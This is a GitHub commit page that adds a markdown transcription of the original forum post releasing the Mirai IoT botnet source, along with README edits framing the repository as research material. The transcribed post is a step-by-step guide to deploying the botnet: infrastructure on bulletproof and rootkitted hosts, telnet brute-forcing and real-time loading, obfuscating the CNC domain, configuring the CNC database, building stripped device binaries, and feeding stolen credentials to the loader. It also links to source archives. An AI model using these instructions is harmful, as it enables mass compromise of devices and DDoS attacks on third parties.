Skip to content

Commit db41dc8

Browse files
committed
Transcribe post to markdown while preserving
original. I have made no attempts at fixing grammar or changing the phrasing. I _only_ modified formatting while preserving the original meaning and context. I also added links within source which are helpful when reading. Limit spacing to 80 characters for readability on the terminal. This makes it more readable on the GitHub website. supersedes jgamblin#7 closes jgamblin#5
1 parent 9779d43 commit db41dc8

File tree

3 files changed

+246
-2
lines changed

3 files changed

+246
-2
lines changed

ForumPost.md

+240
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,240 @@
1+
* Original quote from: [Anna-senpai](https://hackforums.net/showthread.php?tid=5420472)
2+
* Date posted: Fri 30 Sep 19:50:52 UTC 2016
3+
* [See original archived post](ForumPost.txt)
4+
5+
# Preface
6+
7+
Greetz everybody,
8+
9+
When I first go in DDoS industry, I wasn't planning on staying in it long. I
10+
made my money, there's lots of eyes looking at IOT now, so it's time to GTFO.
11+
However, I know every skid and their mama, it's their wet dream to have
12+
something besides qbot.
13+
14+
So today, I have an amazing release for you. With Mirai, I usually pull max 380k
15+
bots from telnet alone. However, after the Kreb DDoS, ISPs been slowly shutting
16+
down and cleaning up their act. Today, max pull is about 300k bots, and
17+
dropping.
18+
19+
So, I am your senpai, and I will treat you real nice, my hf-chan.
20+
21+
And to everyone that thought they were doing anything by hitting my CNC, I had
22+
good laughs, this bot uses domain for CNC. It takes 60 seconds for all bots to
23+
reconnect, lol
24+
25+
Also, shoutout to this blog post by malwaremustdie
26+
27+
* http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html
28+
* https://web.archive.org/web/20160930230210/http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html
29+
<- backup in case low quality reverse engineer unixfreaxjp decides to edit his
30+
posts lol
31+
32+
Had a lot of respect for you, thought you were good reverser, but you
33+
really just completely and totally failed in reversing this binary. "We still
34+
have better kung fu than you kiddos" don't make me laugh please, you made so
35+
many mistakes and even confused some different binaries with my. LOL
36+
37+
Let me give you some slaps back -
38+
39+
1. port `48101` is not for back connect, it is for control to prevent multiple
40+
instances of bot running together
41+
2. `/dev/watchdog` and `/dev/misc` are not for "making the delay", it for
42+
preventing system from hanging. This one is low-hanging fruit, so sad that
43+
you are extremely dumb
44+
3. You failed and thought `FAKE_CNC_ADDR` and `FAKE_CNC_PORT` was real CNC, lol
45+
"And doing the backdoor to connect via HTTP on 65.222.202.53". you got
46+
tripped up by signal flow ;) try harder skiddo
47+
4. Your skeleton tool sucks ass, it thought the attack decoder was "sinden
48+
style", but it does not even use a text-based protocol? CNC and bot
49+
communicate over binary protocol
50+
5. you say 'chroot("/") so predictable like torlus' but you don't understand,
51+
some others kill based on cwd. It shows how out-of-the-loop you are with real
52+
malware. Go back to skidland
53+
54+
5 slaps for you
55+
56+
Why are you writing reverse engineer tools? You cannot even correctly reverse in
57+
the first place. Please learn some skills first before trying to impress others.
58+
Your arrogance in declaring how you "beat me" with your dumb kung-fu statement
59+
made me laugh so hard while eating my SO had to pat me on the back.
60+
61+
Just as I forever be free, you will be doomed to mediocracy forever.
62+
63+
64+
# Requirements
65+
66+
### Bare Minimum
67+
68+
2 servers: 1 for CNC + mysql, 1 for scan receiver, and 1+ for loading
69+
70+
### Pro Setup (my setup)
71+
72+
2 VPS and 4 servers
73+
74+
* 1 VPS with extremely bulletproof host for database server
75+
* 1 VPS, rootkitted, for scanReceiver and distributor
76+
* 1 server for CNC (used like 2% CPU with 400k bots)
77+
* 3x 10gbps NForce servers for loading (distributor distributes to 3 servers
78+
equally)
79+
80+
81+
# Infrastructure Overview
82+
83+
* To establish connection to CNC, bots resolve a domain
84+
([`resolv.c`](mirai/bot/resolv.c)/[`resolv.h`](mirai/bot/resolv.h)) and
85+
connect to that IP address
86+
* Bots brute telnet using an advanced SYN scanner that is around 80x faster than
87+
the one in qbot, and uses almost 20x less resources. When finding bruted
88+
result, bot resolves another domain and reports it. This is chained to a
89+
separate server to automatically load onto devices as results come in.
90+
* Bruted results are sent by default on port 48101. The utility called
91+
scanListen.go in tools is used to receive bruted results (I was getting around
92+
500 bruted results per second at peak). If you build in debug mode, you should
93+
see the utitlity scanListen binary appear in debug folder.
94+
95+
Mirai uses a spreading mechanism similar to self-rep, but what I call
96+
"real-time-load". Basically, bots brute results, send it to a server listening
97+
with `scanListen` utility, which sends the results to the loader. This loop
98+
(`brute -> scanListen -> load -> brute`) is known as real time loading.
99+
100+
The loader can be configured to use multiple IP address to bypass port
101+
exhaustion in linux (there are limited number of ports available, which means
102+
that there is not enough variation in tuple to get more than 65k simultaneous
103+
outbound connections - in theory, this value lot less). I would have maybe 60k -
104+
70k simultaneous outbound connections (simultaneous loading) spread out across 5
105+
IPs.
106+
107+
# Configuring Bot
108+
109+
Bot has several configuration options that are obfuscated in `table.c/table.h`.
110+
In [`./mirai/bot/table.h`](mirai/bot/table.h) you can find most descriptions for
111+
configuration options. However, in [`./mirai/bot/table.c`](mirai/bot/table.c)
112+
there are a few options you *need* to change to get working.
113+
114+
* `TABLE_CNC_DOMAIN` - Domain name of CNC to connect to - DDoS avoidance very
115+
fun with mirai, people try to hit my CNC but I update it faster than they can
116+
find new IPs, lol. Retards :)
117+
* `TABLE_CNC_PORT` - Port to connect to, its set to 23 already
118+
* `TABLE_SCAN_CB_DOMAIN` - When finding bruted results, this domain it is
119+
reported to
120+
* `TABLE_SCAN_CB_PORT` - Port to connect to for bruted results, it is set to
121+
`48101` already.
122+
123+
In [`./mirai/tools`](mirai/tools) you will find something called enc.c - You
124+
must compile this to output things to put in the table.c file
125+
126+
Run this inside mirai directory
127+
128+
./build.sh debug telnet
129+
130+
You will get some errors related to cross-compilers not being there if you have
131+
not configured them. This is ok, won't affect compiling the enc tool
132+
133+
Now, in the `./mirai/debug` folder you should see a compiled binary called enc.
134+
For example, to get obfuscated string for domain name for bots to connect to,
135+
use this:
136+
137+
./debug/enc string fuck.the.police.com
138+
139+
The output should look like this
140+
141+
XOR'ing 20 bytes of data...
142+
\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22
143+
144+
To update the `TABLE_CNC_DOMAIN` value for example, replace that long hex string
145+
with the one provided by enc tool. Also, you see `XOR'ing 20 bytes of data`.
146+
This value must replace the last argument tas well. So for example, the table.c
147+
line originally looks like this
148+
149+
add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); // cnc.changeme.com
150+
151+
Now that we know value from enc tool, we update it like this
152+
153+
add_entry(TABLE_CNC_DOMAIN, "\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22", 20); // fuck.the.police.com
154+
155+
Some values are strings, some are port (uint16 in network order / big endian).
156+
157+
# Configuring CNC
158+
159+
apt-get install mysql-server mysql-client
160+
161+
CNC requires database to work. When you install database, go into it and run
162+
following commands: http://pastebin.com/86d0iL9g (ref:
163+
[`db.sql`](scripts/db.sql))
164+
165+
This will create database for you. To add your user,
166+
167+
INSERT INTO users VALUES (NULL, 'anna-senpai', 'myawesomepassword', 0, 0, 0, 0, -1, 1, 30, '');
168+
169+
Now, go into file [`./mirai/cnc/main.go`](mirai/cnc/main.go)
170+
171+
Edit these values
172+
173+
const DatabaseAddr string = "127.0.0.1"
174+
const DatabaseUser string = "root"
175+
const DatabasePass string = "password"
176+
const DatabaseTable string = "mirai"
177+
178+
To the information for the mysql server you just installed
179+
180+
181+
# Setting Up Cross Compilers
182+
183+
Cross compilers are easy, follow the instructions at this link to set up. You
184+
must restart your system or reload .bashrc file for these changes to take
185+
effect.
186+
187+
http://pastebin.com/1rRCc3aD (ref:
188+
[`cross-compile.sh`](scripts/cross-compile.sh))
189+
190+
# Building CNC+Bot
191+
192+
The CNC, bot, and related tools:
193+
194+
1. http://santasbigcandycane.cx/mirai.src.zip - *THESE LINKS WILL NOT LAST
195+
FOREVER, 2 WEEKS MAX - BACK IT UP!*<br>
196+
![mirai.src.zip contents](scripts/images/BVc7qJs.png)
197+
2. http://santasbigcandycane.cx/loader.src.zip - *THESE LINKS WILL NOT LAST
198+
FOREVER, 2 WEEKS MAX - BACK IT UP!*
199+
200+
### How to build bot + CNC
201+
202+
In mirai folder, there is [`build.sh`](mirai/build.sh) script.
203+
204+
./build.sh debug telnet
205+
206+
Will output debug binaries of bot that will not daemonize and print out info
207+
about if it can connect to CNC, etc, status of floods, etc. Compiles to
208+
`./mirai/debug` folder
209+
210+
./build.sh release telnet
211+
212+
Will output production-ready binaries of bot that are extremely stripped, small
213+
(about 60K) that should be loaded onto devices. Compiles all binaries in format:
214+
`mirai.$ARCH` to `./mirai/release` folder
215+
216+
217+
# Building Echo Loader
218+
219+
Loader reads telnet entries from STDIN in following format:
220+
221+
ip:port user:pass
222+
223+
It detects if there is wget or tftp, and tries to download the binary using
224+
that. If not, it will echoload a tiny binary (about 1kb) that will suffice as
225+
wget.
226+
227+
./build.sh
228+
229+
Will build the loader, optimized, production use, no fuss. If you have a file in
230+
formats used for loading, you can do this
231+
232+
cat file.txt | ./loader
233+
234+
Remember to `ulimit`!
235+
236+
Just so it's clear, I'm not providing any kind of 1 on 1 help tutorials or shit,
237+
too much time. All scripts and everything are included to set up working botnet
238+
in under 1 hours. I am willing to help if you have individual questions (how
239+
come CNC not connecting to database, I did this this this blah blah), but not
240+
questions like "My bot not connect, fix it"

README.md

+6-2
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,8 @@ Leaked Linux.Mirai Source Code for Research/IoT Development Purposes
33

44
Uploaded for research purposes and so we can develop IoT and such.
55

6-
See "ForumPost.txt" for the post in which it leaks, if you want to know how it is all set up and the likes.
6+
See "ForumPost.txt" or [ForumPost.md](ForumPost.md) for the post in which it
7+
leaks, if you want to know how it is all set up and the likes.
78

89
## Requirements
910
* gcc
@@ -13,7 +14,10 @@ See "ForumPost.txt" for the post in which it leaks, if you want to know how it i
1314
* mysql-client
1415

1516
## Credits
17+
1618
[Anna-senpai](https://hackforums.net/showthread.php?tid=5420472)
1719

1820
## Disclaimer
19-
This repository is for academic purposes, the use of this software is your responsibility.
21+
22+
This repository is for academic purposes, the use of this software is your
23+
responsibility.

scripts/images/BVc7qJs.png

43.6 KB
Loading

0 commit comments

Comments
 (0)